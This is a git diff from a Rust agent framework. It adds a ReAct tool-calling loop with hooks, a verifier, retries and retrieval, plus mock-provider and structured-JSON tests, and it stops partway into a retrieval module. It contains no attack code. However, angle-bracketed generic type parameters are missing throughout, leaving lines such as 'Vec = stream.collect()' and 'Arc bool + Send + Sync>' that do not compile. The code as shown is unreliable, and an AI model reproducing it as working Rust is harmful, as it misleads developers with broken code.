-1,6 +1,6 @@ use crate::chat::providers::adapter::LlmProviderAdapter; use crate::chat::providers::mock::MockChatProvider; -use crate::chat::providers::ChatProvider; +use crate::chat::providers::{chat_structured, ChatProvider}; use crate::chat::stream::StreamEvent; use crate::chat::tools::types::ToolDef; use crate::chat::types::{ChatMessage, ContentBlock, LlmError, Role}; @@ -643,7 +643,7 @@ async fn anthropic_mock_streaming_tool_call() { } #[tokio::test] -async fn mock_provider_default_stream_returns_error() { +async fn mock_provider_stream_emits_tokens_and_done() { use futures::StreamExt; let mock = MockChatProvider::from_text("hello"); @@ -652,8 +652,86 @@ async fn mock_provider_default_stream_returns_error() { let stream = mock.chat_stream(&messages, &[], &config); let events: Vec = stream.collect().await; - assert_eq!(events.len(), 1); - assert!( - matches!(&events[0], StreamEvent::Error(msg) if msg.contains("streaming not supported")) - ); + + let has_token = events + .iter() + .any(|e| matches!(e, StreamEvent::Token(t) if t == "hello")); + let has_done = events.iter().any(|e| matches!(e, StreamEvent::Done)); + assert!(has_token, "should emit Token event: {:?}", events); + assert!(has_done, "should emit Done event: {:?}", events); +} + +#[tokio::test] +async fn chat_structured_parses_json() { + #[derive(serde::Deserialize, Debug, PartialEq)] + struct Result { + answer: String, + confidence: f64, + } + + let mock = MockChatProvider::from_text(r#"{"answer":"yes","confidence":0.95}"#); + let config = LlmConfig::new("test"); + let messages = vec![ChatMessage::user("Is this a test?")]; + + let result: Result = chat_structured(&mock, &messages, &config).await.unwrap(); + assert_eq!(result.answer, "yes"); + assert!((result.confidence - 0.95).abs() < 0.001); +} + +#[tokio::test] +async fn chat_structured_strips_code_fence() { + #[derive(serde::Deserialize, Debug)] + struct Item { + name: String, + } + + let mock = MockChatProvider::from_text("```json\n{\"name\":\"test\"}\n```"); + let config = LlmConfig::new("test"); + let messages = vec![ChatMessage::user("Give me JSON")]; + + let result: Item = chat_structured(&mock, &messages, &config).await.unwrap(); + assert_eq!(result.name, "test"); +} + +#[tokio::test] +async fn chat_structured_plain_code_fence() { + #[derive(serde::Deserialize, Debug)] + struct Val { + x: i32, + } + + let mock = MockChatProvider::from_text("```\n{\"x\":42}\n```"); + let config = LlmConfig::new("test"); + let messages = vec![ChatMessage::user("val")]; + + let result: Val = chat_structured(&mock, &messages, &config).await.unwrap(); + assert_eq!(result.x, 42); +} + +#[tokio::test] +async fn chat_structured_invalid_json_returns_parse_error() { + let mock = MockChatProvider::from_text("not json at all"); + let config = LlmConfig::new("test"); + let messages = vec![ChatMessage::user("broken")]; + + let result: std::result::Result = + chat_structured(&mock, &messages, &config).await; + match result.unwrap_err() { + LlmError::Parse(msg) => assert!(msg.contains("parse error")), + other => panic!("expected Parse error, got {other}"), + } +} + +#[tokio::test] +async fn chat_structured_provider_error_propagates() { + let mock = MockChatProvider::from_text("ok").with_error(LlmError::Http("fail".to_string())); + let config = LlmConfig::new("test"); + let messages = vec![ChatMessage::user("hi")]; + + let result: std::result::Result = + chat_structured(&mock, &messages, &config).await; + match result.unwrap_err() { + LlmError::Http(msg) => assert_eq!(msg, "fail"), + other => panic!("expected Http error, got {other}"), + } } diff --git a/forgekit_agent/src/chat/react.rs b/forgekit_agent/src/chat/react.rs new file mode 100644 index 0000000..05dfbda --- /dev/null +++ b/forgekit_agent/src/chat/react.rs @@ -0,0 +1,569 @@ +use std::sync::Arc; + +use futures::Stream; +use futures::StreamExt; +use std::pin::Pin; +use tracing::{debug, info, info_span, warn}; + +use crate::chat::events::EventBus; +use crate::chat::hooks::{HookContext, HookEvent, HookRunner}; +use crate::chat::providers::ChatProvider; +use crate::chat::retrieval::CodeRetriever; +use crate::chat::step::StepEvent; +use crate::chat::stream::{ReactStreamEvent, StreamEvent}; +use crate::chat::tools::registry::ToolRegistry; +use crate::chat::tools::types::ToolCall; +use crate::chat::types::{ChatMessage, ContentBlock, LlmError, Usage}; +use crate::llm::LlmConfig; + +#[derive(Debug, thiserror::Error)] +pub enum AgentError { + #[error("maximum iterations exceeded")] + MaxIterations, + + #[error("provider error: {0}")] + Provider(#[from] LlmError), + + #[error("tool error: {0}")] + Tool(String), + + #[error("hook blocked: {0}")] + HookBlocked(String), + + #[error("ReAct failed: {0}")] + ReActFailed(String), +} + +pub type VerifierFn = Arc bool + Send + Sync>; + +type StepSender = futures::channel::mpsc::UnboundedSender; + +struct LlmResponse { + text: String, + tool_calls: Vec, + usage: Usage, +} + +pub struct ReActLoop { + provider: Arc, + registry: R, + config: LlmConfig, + max_iterations: usize, + step_retries: usize, + system_prompt: Option, + hook_runner: Option, + verifier: Option, + retriever: Option>, + retrieval_top_k: usize, + event_bus: Option, +} + +impl ReActLoop { + pub fn new(provider: Arc, registry: R, config: LlmConfig) -> Self { + ReActLoop { + provider, + registry, + config, + max_iterations: 10, + step_retries: 2, + system_prompt: None, + hook_runner: None, + verifier: None, + retriever: None, + retrieval_top_k: 5, + event_bus: None, + } + } + + pub fn with_max_iterations(mut self, n: usize) -> Self { + self.max_iterations = n; + self + } + + pub fn with_system_prompt(mut self, prompt: impl Into) -> Self { + self.system_prompt = Some(prompt.into()); + self + } + + pub fn with_hooks(mut self, runner: HookRunner) -> Self { + self.hook_runner = Some(runner); + self + } + + pub fn with_step_retries(mut self, retries: usize) -> Self { + self.step_retries = retries; + self + } + + pub fn with_verifier(mut self, verifier: VerifierFn) -> Self { + self.verifier = Some(verifier); + self + } + + pub fn with_retriever(mut self, retriever: Arc) -> Self { + self.retriever = Some(retriever); + self + } + + pub fn with_retrieval_top_k(mut self, k: usize) -> Self { + self.retrieval_top_k = k; + self + } + + pub fn with_event_bus(mut self, bus: EventBus) -> Self { + self.event_bus = Some(bus); + self + } + + async fn emit(&self, tx: &StepSender, event: StepEvent) { + if let Some(ref bus) = self.event_bus { + if let Some(agent_event) = event.to_agent_event() { + bus.emit(&agent_event).await; + } + } + let _ = tx.unbounded_send(event); + } + + async fn check_pre_tool_hooks( + &self, + tool_name: &str, + arguments: &serde_json::Value, + ) -> Option { + if let Some(ref hooks) = self.hook_runner { + let command = arguments.get("command").and_then(|v| v.as_str()); + let ctx = HookContext::for_tool_call(tool_name, command); + let results = hooks.run_hooks(&HookEvent::PreToolUse, &ctx).await; + let blocked: Vec<&str> = results + .iter() + .filter_map(|r| match r { + crate::chat::hooks::HookResult::Blocked(msg) => Some(msg.as_str()), + _ => None, + }) + .collect(); + if !blocked.is_empty() { + return Some(blocked.join("; ")); + } + } + None + } + + async fn run_post_tool_hooks(&self, tool_name: &str, output: &str) { + if let Some(ref hooks) = self.hook_runner { + let ctx = HookContext::for_tool_call(tool_name, Some(output)); + hooks.run_hooks(&HookEvent::PostToolUse, &ctx).await; + } + } + + async fn run_stop_hooks(&self, answer: Option<&str>) { + if let Some(ref hooks) = self.hook_runner { + let ctx = HookContext::for_stop(answer); + hooks.run_hooks(&HookEvent::Stop, &ctx).await; + } + } + + async fn run_session_start_hooks(&self) { + if let Some(ref hooks) = self.hook_runner { + let ctx = HookContext::for_session_start(); + hooks.run_hooks(&HookEvent::SessionStart, &ctx).await; + } + } + + async fn call_llm_batch( + &self, + messages: &[ChatMessage], + tools: &[crate::chat::tools::types::ToolDef], + ) -> Result { + let response = self.provider.chat(messages, tools, &self.config).await?; + let text = response.message.text().unwrap_or_default().to_string(); + let tool_calls: Vec = response + .message + .content + .into_iter() + .filter(|b| matches!(b, ContentBlock::ToolCall { .. })) + .collect(); + Ok(LlmResponse { + text, + tool_calls, + usage: response.usage, + }) + } + + async fn call_llm_stream( + &self, + messages: &[ChatMessage], + tools: &[crate::chat::tools::types::ToolDef], + tx: &StepSender, + ) -> Result { + let mut event_stream = self.provider.chat_stream(messages, tools, &self.config); + + let mut collected_tokens = String::new(); + let mut collected_tool_calls: Vec = Vec::new(); + let mut current_tool_id: Option = None; + let mut current_tool_name: Option = None; + let mut current_tool_args = String::new(); + let mut accumulated_usage = Usage { + prompt_tokens: None, + completion_tokens: None, + total_tokens: None, + }; + + while let Some(event) = event_stream.next().await { + match &event { + StreamEvent::Token(token) => { + collected_tokens.push_str(token); + } + StreamEvent::ToolCallStart { id, name, .. } => { + if let Some(prev_id) = current_tool_id.take() { + let empty = serde_json::Value::Object(serde_json::Map::new()); + let args: serde_json::Value = + serde_json::from_str(¤t_tool_args).unwrap_or(empty); + collected_tool_calls.push(ContentBlock::tool_call( + prev_id, + current_tool_name.take().unwrap_or_default(), + args, + )); + current_tool_args.clear(); + } + current_tool_id = Some(id.clone()); + current_tool_name = Some(name.clone()); + } + StreamEvent::ToolCallArgumentDelta { delta, .. } => { + current_tool_args.push_str(delta); + } + StreamEvent::Error(e) => { + return Err(e.clone()); + } + StreamEvent::Usage(ref u) => { + if let Some(pt) = u.prompt_tokens { + accumulated_usage.prompt_tokens = + Some(accumulated_usage.prompt_tokens.unwrap_or(0) + pt); + } + if let Some(ct) = u.completion_tokens { + accumulated_usage.completion_tokens = + Some(accumulated_usage.completion_tokens.unwrap_or(0) + ct); + } + if let Some(tt) = u.total_tokens { + accumulated_usage.total_tokens = + Some(accumulated_usage.total_tokens.unwrap_or(0) + tt); + } + } + StreamEvent::Done | StreamEvent::ToolCallEnd { .. } => {} + } + + self.emit(tx, StepEvent::LlmStreamEvent { event }).await; + } + + if let Some(id) = current_tool_id.take() { + let empty = serde_json::Value::Object(serde_json::Map::new()); + let args: serde_json::Value = serde_json::from_str(¤t_tool_args).unwrap_or(empty); + collected_tool_calls.push(ContentBlock::tool_call( + id, + current_tool_name.take().unwrap_or_default(), + args, + )); + } + + Ok(LlmResponse { + text: collected_tokens, + tool_calls: collected_tool_calls, + usage: accumulated_usage, + }) + } + + async fn execute_tools( + &self, + iteration: usize, + tool_calls: &[ContentBlock], + conversation: &mut crate::chat::conversation::Conversation, + tx: &StepSender, + ) { + let max_tool_output_bytes = self.config.max_tool_output_bytes; + + for block in tool_calls { + if let ContentBlock::ToolCall { + id, + name, + arguments, + } = block + { + if let Some(reason) = self.check_pre_tool_hooks(name, arguments).await { + self.emit( + tx, + StepEvent::PreToolHookBlocked { + tool_name: name.clone(), + reason, + }, + ) + .await; + conversation.push(ChatMessage::tool_error(id, "Blocked by hook policy")); + continue; + } + + self.emit( + tx, + StepEvent::ToolCallStarted { + iteration, + tool_name: name.clone(), + tool_call_id: id.clone(), + }, + ) + .await; + + let call = ToolCall::new(id.clone(), name.clone(), arguments.clone()); + let output = self.registry.execute(&call).await; + let was_truncated = output.content.len() > max_tool_output_bytes; + let output = output.truncated(max_tool_output_bytes); + + let preview: String = output.content.chars().take(200).collect(); + self.emit( + tx, + StepEvent::ToolCallCompleted { + iteration, + tool_name: name.clone(), + tool_call_id: id.clone(), + success: !output.is_error, + output_bytes: output.content.len(), + truncated: was_truncated, + output_preview: preview, + }, + ) + .await; + + debug!( + iteration, + tool = name.as_str(), + success = !output.is_error, + output_bytes = output.content.len(), + "tool call completed" + ); + + self.run_post_tool_hooks(name, &output.content).await; + + if output.is_error { + conversation.push(ChatMessage::tool_error( + &output.tool_call_id, + &output.content, + )); + } else { + conversation.push(ChatMessage::tool_result( + &output.tool_call_id, + &output.content, + )); + } + } + } + } + + async fn run_core( + &self, + prompt: &str, + tx: &StepSender, + use_streaming: bool, + ) -> Result { + let span = info_span!("react_loop", max_iterations = self.max_iterations); + let _enter = span.enter(); + + let mut conversation = crate::chat::conversation::Conversation::new(); + if let Some(ref sys) = self.system_prompt { + conversation.push(ChatMessage::system(sys.clone())); + } + + if let Some(ref retriever) = self.retriever { + let snippets = retriever.retrieve(prompt, self.retrieval_top_k).await; + if !snippets.is_empty() { + let mut context = String::from("Relevant code context:\n"); + for snippet in &snippets { + context.push_str(&format!("---\n{}\n", snippet)); + } + conversation.push(ChatMessage::system(context)); + self.emit( + tx, + StepEvent::RetrievalInjected { + num_snippets: snippets.len(), + }, + ) + .await; + } + } + + conversation.push(ChatMessage::user(prompt)); + + self.run_session_start_hooks().await; + + let session_id = conversation.session_id().unwrap_or("unknown").to_string(); + self.emit(tx, StepEvent::SessionStarted { session_id }) + .await; + + let mut consecutive_errors: usize = 0; + + for iteration in 0..self.max_iterations { + debug!(iteration, "starting iteration"); + + self.emit( + tx, + StepEvent::IterationStarted { + iteration, + max_iterations: self.max_iterations, + }, + ) + .await; + + let tools = self.registry.definitions(); + + let llm_result = if use_streaming { + match self + .call_llm_stream(conversation.messages(), &tools, tx) + .await + { + Ok(resp) => resp, + Err(error_msg) => { + consecutive_errors += 1; + self.emit( + tx, + StepEvent::LlmError { + iteration, + consecutive_errors, + error: error_msg.clone(), + }, + ) + .await; + if consecutive_errors > self.step_retries { + return Err(AgentError::Provider(LlmError::Http(error_msg))); + } + conversation.push(ChatMessage::assistant(format!( + "I encountered an error: {error_msg}. Let me try again." + ))); + continue; + } + } + } else { + match self.call_llm_batch(conversation.messages(), &tools).await { + Ok(resp) => resp, + Err(e) => { + consecutive_errors += 1; + let error_msg = format!("{e}"); + warn!(iteration, consecutive_errors, "LLM error, retrying"); + self.emit( + tx, + StepEvent::LlmError { + iteration, + consecutive_errors, + error: error_msg.clone(), + }, + ) + .await; + if consecutive_errors > self.step_retries { + return Err(AgentError::Provider(e)); + } + conversation.push(ChatMessage::assistant(format!( + "I encountered an error: {error_msg}. Let me try again." + ))); + continue; + } + } + }; + + consecutive_errors = 0; + + self.emit( + tx, + StepEvent::LlmResponseReceived { + iteration, + usage: llm_result.usage.clone(), + has_tool_calls: !llm_result.tool_calls.is_empty(), + }, + ) + .await; + + if use_streaming { + let mut assistant_content: Vec = Vec::new(); + if !llm_result.text.is_empty() { + assistant_content.push(ContentBlock::text(&llm_result.text)); + } + assistant_content.extend(llm_result.tool_calls.clone()); + conversation.push(ChatMessage { + role: crate::chat::types::Role::Assistant, + content: assistant_content, + }); + } else { + let mut content = vec![ContentBlock::text(&llm_result.text)]; + content.extend(llm_result.tool_calls.clone()); + conversation.push(ChatMessage { + role: crate::chat::types::Role::Assistant, + content, + }); + } + + if !llm_result.tool_calls.is_empty() { + self.execute_tools(iteration, &llm_result.tool_calls, &mut conversation, tx) + .await; + continue; + } + + let answer = conversation + .messages() + .last() + .and_then(|m| m.text()) + .unwrap_or("") + .to_string(); + + if let Some(ref verifier) = self.verifier { + if !verifier(&answer) { + self.emit(tx, StepEvent::VerificationFailed { iteration }) + .await; + conversation.push(ChatMessage::user( + "Your previous answer did not pass verification. Please try a different approach.", + )); + continue; + } + } + + info!(iteration, answer_length = answer.len(), "answer produced"); + self.run_stop_hooks(Some(&answer)).await; + self.emit(tx, StepEvent::AnswerProduced { iteration, answer }) + .await; + return Ok(conversation + .messages() + .last() + .and_then(|m| m.text()) + .unwrap_or("") + .to_string()); + } + + warn!(iterations = self.max_iterations, "max iterations reached"); + self.run_stop_hooks(None).await; + self.emit( + tx, + StepEvent::MaxIterationsReached { + iterations: self.max_iterations, + }, + ) + .await; + Err(AgentError::MaxIterations) + } + + pub async fn run(&self, prompt: &str) -> Result { + let (tx, _rx) = futures::channel::mpsc::unbounded::(); + self.run_core(prompt, &tx, false).await + } + + pub fn run_stream( + self, + prompt: impl Into, + ) -> Pin + Send>> + where + R: 'static, + { + let (tx, rx) = futures::channel::mpsc::unbounded::(); + let prompt = prompt.into(); + + tokio::spawn(async move { + let _ = self.run_core(&prompt, &tx, true).await; + drop(tx); + }); + + let stream = rx.filter_map(|step| async move { step.to_stream_event() }); + + Box::pin(stream) + } +} diff --git a/forgekit_agent/src/chat/react_tests.rs b/forgekit_agent/src/chat/react_tests.rs new file mode 100644 index 0000000..767f8ed --- /dev/null +++ b/forgekit_agent/src/chat/react_tests.rs @@ -0,0 +1,509 @@ +use std::sync::Arc; + +use crate::chat::providers::mock::MockChatProvider; +use crate::chat::react::{AgentError, ReActLoop}; +use crate::chat::retrieval::{CodeRetriever, CodeSnippet, RetrievalSource}; +use crate::chat::stream::ReactStreamEvent; +use crate::chat::tools::registry::BuiltinToolRegistry; +use crate::chat::tools::types::ToolDef; +use crate::llm::LlmConfig; +use async_trait::async_trait; +use futures::StreamExt; +use std::path::PathBuf; +struct EchoTool; + +#[async_trait] +impl crate::chat::tools::registry::AsyncTool for EchoTool { + async fn call(&self, args: serde_json::Value) -> Result { + let msg = args["msg"].as_str().unwrap_or(""); + Ok(format!("Echo: {msg}")) + } + + fn definition(&self) -> ToolDef { + ToolDef::new( + "echo", + "Echo back the message", + serde_json::json!({"type": "object", "properties": {"msg": {"type": "string"}}, "required": ["msg"]}), + ) + } +} + +fn echo_registry() -> BuiltinToolRegistry { + let mut reg = BuiltinToolRegistry::new(); + reg.register(Box::new(EchoTool)); + reg +} + +#[tokio::test] +async fn react_text_only_no_tools() { + let provider = MockChatProvider::from_text("Hello world"); + let registry = BuiltinToolRegistry::new(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config); + let result = react.run("Say hello").await; + + assert_eq!(result.unwrap(), "Hello world"); +} + +#[tokio::test] +async fn react_tool_call_then_answer() { + let provider = MockChatProvider::from_text("final answer") + .with_tool_call("echo", serde_json::json!({"msg": "hi"})); + let registry = echo_registry(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config); + let result = react.run("Echo hi").await; + + assert_eq!(result.unwrap(), "final answer"); +} + +#[tokio::test] +async fn react_multi_step_tool_calls() { + let provider = MockChatProvider::from_text("done") + .with_tool_call("echo", serde_json::json!({"msg": "step 1"})) + .with_tool_call("echo", serde_json::json!({"msg": "step 2"})); + let registry = echo_registry(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config); + let result = react.run("Multi-step").await; + + assert_eq!(result.unwrap(), "done"); +} + +#[tokio::test] +async fn react_max_iterations_exceeded() { + let provider = MockChatProvider::from_text("never finish") + .with_tool_call("echo", serde_json::json!({"msg": "loop"})) + .with_tool_call("echo", serde_json::json!({"msg": "loop"})) + .with_tool_call("echo", serde_json::json!({"msg": "loop"})); + let registry = echo_registry(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config).with_max_iterations(2); + let result = react.run("Infinite loop").await; + + match result.unwrap_err() { + AgentError::MaxIterations => {} + other => panic!("expected MaxIterations, got {other}"), + } +} + +#[tokio::test] +async fn react_provider_error_propagates() { + let provider = MockChatProvider::from_text("ok").with_error( + crate::chat::types::LlmError::Http("connection failed".to_string()), + ); + let registry = BuiltinToolRegistry::new(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config).with_step_retries(0); + let result = react.run("Test").await; + + match result.unwrap_err() { + AgentError::Provider(err) => { + assert!(err.to_string().contains("connection failed")); + } + other => panic!("expected Provider error, got {other}"), + } +} + +#[tokio::test] +async fn react_provider_error_retries_then_succeeds() { + let provider = MockChatProvider::from_text("recovered") + .with_error(crate::chat::types::LlmError::Http("transient".to_string())); + let registry = BuiltinToolRegistry::new(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config).with_step_retries(2); + let result = react.run("Test retry").await; + + assert_eq!(result.unwrap(), "recovered"); +} + +#[tokio::test] +async fn react_provider_error_exhausts_retries() { + let provider = MockChatProvider::from_text("never reached") + .with_error(crate::chat::types::LlmError::Http("fail 1".to_string())) + .with_error(crate::chat::types::LlmError::Http("fail 2".to_string())) + .with_error(crate::chat::types::LlmError::Http("fail 3".to_string())); + let registry = BuiltinToolRegistry::new(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config).with_step_retries(2); + let result = react.run("Test retry limit").await; + + match result.unwrap_err() { + AgentError::Provider(err) => { + assert!(err.to_string().contains("fail 3")); + } + other => panic!("expected Provider error after retries exhausted, got {other}"), + } +} + +#[tokio::test] +async fn react_verifier_rejects_answer() { + let provider = + MockChatProvider::from_text("bad answer").with_text("good answer with magic word"); + let registry = BuiltinToolRegistry::new(); + let config = LlmConfig::new("test-model"); + + let verifier: crate::chat::react::VerifierFn = Arc::new(|answer| answer.contains("magic word")); + + let react = ReActLoop::new(Arc::new(provider), registry, config).with_verifier(verifier); + let result = react.run("Tell me something").await; + + assert_eq!(result.unwrap(), "good answer with magic word"); +} + +#[tokio::test] +async fn react_verifier_rejects_all_hits_max_iterations() { + let provider = MockChatProvider::from_text("always bad"); + let registry = BuiltinToolRegistry::new(); + let config = LlmConfig::new("test-model"); + + let verifier: crate::chat::react::VerifierFn = Arc::new(|_| false); + + let react = ReActLoop::new(Arc::new(provider), registry, config) + .with_verifier(verifier) + .with_max_iterations(3); + let result = react.run("Never passes").await; + + match result.unwrap_err() { + AgentError::MaxIterations => {} + other => panic!("expected MaxIterations, got {other}"), + } +} + +#[tokio::test] +async fn react_verifier_accepts_first_try() { + let provider = MockChatProvider::from_text("perfect magic answer"); + let registry = BuiltinToolRegistry::new(); + let config = LlmConfig::new("test-model"); + + let verifier: crate::chat::react::VerifierFn = Arc::new(|answer| answer.contains("magic")); + + let react = ReActLoop::new(Arc::new(provider), registry, config).with_verifier(verifier); + let result = react.run("Say magic").await; + + assert_eq!(result.unwrap(), "perfect magic answer"); +} + +#[tokio::test] +async fn react_tool_error_feeds_back() { + struct FailTool; + + #[async_trait] + impl crate::chat::tools::registry::AsyncTool for FailTool { + async fn call(&self, _args: serde_json::Value) -> Result { + Err("tool exploded".to_string()) + } + + fn definition(&self) -> ToolDef { + ToolDef::empty("fail", "Always fails") + } + } + + let mut reg = BuiltinToolRegistry::new(); + reg.register(Box::new(FailTool)); + + let provider = MockChatProvider::from_text("I see the error") + .with_tool_call("fail", serde_json::json!({})); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), reg, config); + let result = react.run("Try failing tool").await; + + assert_eq!(result.unwrap(), "I see the error"); +} + +#[tokio::test] +async fn react_custom_system_prompt() { + let provider = MockChatProvider::from_text("custom response"); + let registry = BuiltinToolRegistry::new(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config) + .with_system_prompt("You are a test assistant"); + let result = react.run("Test").await; + + assert_eq!(result.unwrap(), "custom response"); +} + +#[tokio::test] +async fn react_no_tool_calls_returns_immediately() { + let provider = MockChatProvider::from_text("quick answer"); + let registry = echo_registry(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config); + let result = react.run("Direct question").await; + + assert_eq!(result.unwrap(), "quick answer"); +} + +#[cfg(feature = "llm-ollama")] +#[tokio::test] +async fn react_live_ollama_tool_calling() { + let client = reqwest::Client::new(); + let resp = client.get("http://localhost:11434/api/tags").send().await; + if let Err(e) = &resp { + eprintln!("Skipping live ReAct test β€” Ollama not available: {e}"); + return; + } + let resp = resp.expect("checked above"); + if !resp.status().is_success() { + eprintln!("Skipping live ReAct test β€” Ollama tags endpoint failed"); + return; + } + let body = resp.text().await.unwrap_or_default(); + if !body.contains("qwen3.5-agent") { + eprintln!("Skipping live ReAct test β€” qwen3.5-agent model not found"); + return; + } + + use crate::chat::providers::ollama::OllamaChatProvider; + use crate::chat::tools::registry::AsyncTool; + + struct LiveFileReadTool; + + #[async_trait] + impl AsyncTool for LiveFileReadTool { + async fn call(&self, args: serde_json::Value) -> Result { + let path = args["path"].as_str().unwrap_or(""); + if path.is_empty() { + return Err("path is required".to_string()); + } + tokio::fs::read_to_string(path) + .await + .map_err(|e| format!("Failed to read {}: {}", path, e)) + } + + fn definition(&self) -> ToolDef { + ToolDef::new( + "file_read", + "Read the contents of a file at the given path", + serde_json::json!({ + "type": "object", + "properties": { + "path": {"type": "string", "description": "Absolute or relative file path"} + }, + "required": ["path"] + }), + ) + } + } + + let mut registry = BuiltinToolRegistry::new(); + registry.register(Box::new(LiveFileReadTool)); + + let provider = OllamaChatProvider::local(); + let config = LlmConfig::new("qwen3.5-agent:latest").with_temperature(0.1); + + let react = ReActLoop::new(Arc::new(provider), registry, config) + .with_max_iterations(10) + .with_system_prompt("You are a helpful assistant. Use tools when asked. After getting tool results, give a brief text answer. Do not make additional tool calls after you have the answer."); + + let result = react + .run("Read the file /home/feanor/Projects/forge/Cargo.toml and tell me what the workspace members are. Reply in one short sentence.") + .await; + + match result { + Ok(text) => { + let lower = text.to_lowercase(); + assert!( + lower.contains("forge") || lower.contains("member") || lower.contains("workspace"), + "Expected response about workspace members, got: {text}" + ); + eprintln!("Live ReAct SUCCESS: {text}"); + } + Err(AgentError::MaxIterations) => { + panic!("Live ReAct hit max iterations β€” tool results may not be reaching the model. Check convert_message for ToolResult handling."); + } + Err(e) => { + panic!("Live ReAct unexpected error: {e}"); + } + } +} + +#[tokio::test] +async fn react_stream_text_only() { + let provider = MockChatProvider::from_text("Hello streaming"); + let registry = BuiltinToolRegistry::new(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config); + let events: Vec = react.run_stream("Say hi").collect().await; + + let has_iteration = events + .iter() + .any(|e| matches!(e, ReactStreamEvent::IterationStart { .. })); + assert!(has_iteration, "should have IterationStart event"); + + let has_token = events.iter().any(|e| { + matches!( + e, + ReactStreamEvent::LlmEvent(crate::chat::stream::StreamEvent::Token(_)) + ) + }); + assert!(has_token, "should have Token event"); + + let answer = events.iter().find_map(|e| match e { + ReactStreamEvent::Answer(a) => Some(a.clone()), + _ => None, + }); + assert_eq!(answer.as_deref(), Some("Hello streaming")); +} + +#[tokio::test] +async fn react_stream_tool_call_then_answer() { + let provider = MockChatProvider::from_text("final stream answer") + .with_tool_call("echo", serde_json::json!({"msg": "hi"})); + let registry = echo_registry(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config); + let events: Vec = react.run_stream("Echo hi").collect().await; + + let tool_executed: Vec<_> = events + .iter() + .filter_map(|e| match e { + ReactStreamEvent::ToolExecuted { name, success, .. } => Some((name.clone(), *success)), + _ => None, + }) + .collect(); + assert_eq!(tool_executed.len(), 1); + assert_eq!(tool_executed[0].0, "echo"); + assert!(tool_executed[0].1); + + let answer = events.iter().find_map(|e| match e { + ReactStreamEvent::Answer(a) => Some(a.clone()), + _ => None, + }); + assert_eq!(answer.as_deref(), Some("final stream answer")); +} + +#[tokio::test] +async fn react_stream_max_iterations() { + let provider = MockChatProvider::from_text("never finish") + .with_tool_call("echo", serde_json::json!({"msg": "loop"})) + .with_tool_call("echo", serde_json::json!({"msg": "loop"})) + .with_tool_call("echo", serde_json::json!({"msg": "loop"})); + let registry = echo_registry(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config).with_max_iterations(2); + let events: Vec = react.run_stream("Loop").collect().await; + + let has_max = events + .iter() + .any(|e| matches!(e, ReactStreamEvent::MaxIterationsReached)); + assert!(has_max, "should emit MaxIterationsReached"); + + let has_answer = events + .iter() + .any(|e| matches!(e, ReactStreamEvent::Answer(_))); + assert!( + !has_answer, + "should not emit Answer when max iterations reached" + ); +} + +#[tokio::test] +async fn react_stream_multiple_iterations() { + let provider = MockChatProvider::from_text("done") + .with_tool_call("echo", serde_json::json!({"msg": "step 1"})) + .with_tool_call("echo", serde_json::json!({"msg": "step 2"})); + let registry = echo_registry(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config); + let events: Vec = react.run_stream("Multi-step").collect().await; + + let iterations: Vec = events + .iter() + .filter_map(|e| match e { + ReactStreamEvent::IterationStart { iteration } => Some(*iteration), + _ => None, + }) + .collect(); + assert!( + iterations.len() >= 3, + "should have at least 3 iterations (2 tool calls + 1 final), got {}", + iterations.len() + ); + + let tool_count = events + .iter() + .filter(|e| matches!(e, ReactStreamEvent::ToolExecuted { .. })) + .count(); + assert_eq!(tool_count, 2, "should have 2 tool executions"); + + let answer = events.iter().find_map(|e| match e { + ReactStreamEvent::Answer(a) => Some(a.clone()), + _ => None, + }); + assert_eq!(answer.as_deref(), Some("done")); +} + +struct FixedRetriever { + snippets: Vec, +} + +#[async_trait] +impl CodeRetriever for FixedRetriever { + async fn retrieve(&self, _query: &str, top_k: usize) -> Vec { + self.snippets.iter().take(top_k).cloned().collect() + } +} + +#[tokio::test] +async fn react_with_retriever_injects_context() { + let snippets = vec![CodeSnippet { + file: PathBuf::from("src/lib.rs"), + line: 1, + content: "pub fn hello() {}".to_string(), + score: 0.9, + source: RetrievalSource::File, + }]; + let retriever = FixedRetriever { snippets }; + + let provider = MockChatProvider::from_text("I see the hello function"); + let registry = BuiltinToolRegistry::new(); + let config = LlmConfig::new("test-model"); + + let react = + ReActLoop::new(Arc::new(provider), registry, config).with_retriever(Arc::new(retriever)); + let result = react.run("Find hello").await; + + assert_eq!(result.unwrap(), "I see the hello function"); +} + +#[tokio::test] +async fn react_with_empty_retriever_still_works() { + let retriever = FixedRetriever { snippets: vec![] }; + + let provider = MockChatProvider::from_text("no context needed"); + let registry = BuiltinToolRegistry::new(); + let config = LlmConfig::new("test-model"); + + let react = + ReActLoop::new(Arc::new(provider), registry, config).with_retriever(Arc::new(retriever)); + let result = react.run("Test").await; + + assert_eq!(result.unwrap(), "no context needed"); +} + +#[tokio::test] +async fn react_without_retriever_works() { + let provider = MockChatProvider::from_text("no retrieval"); + let registry = BuiltinToolRegistry::new(); + let config = LlmConfig::new("test-model"); + + let react = ReActLoop::new(Arc::new(provider), registry, config); + let result = react.run("Test").await; + + assert_eq!(result.unwrap(), "no retrieval"); +} diff --git a/forgekit_agent/src/chat/retrieval.rs b/forgekit_agent/src/chat/retrieval.rs new file mode 100644 index 0000000..2f6cf3e --- /dev/null +++ b/forgekit_agent/src/chat/retrieval.rs @@ -0,0 +1,303 @@ +use std::fmt; +use std::path::{Path, PathBuf}; + +#[derive(Clone, Debug, PartialEq)] +pub enum RetrievalSource { + File, + Graph, + Knowledge, +} + +#[derive(Clone, Debug)] +pub struct 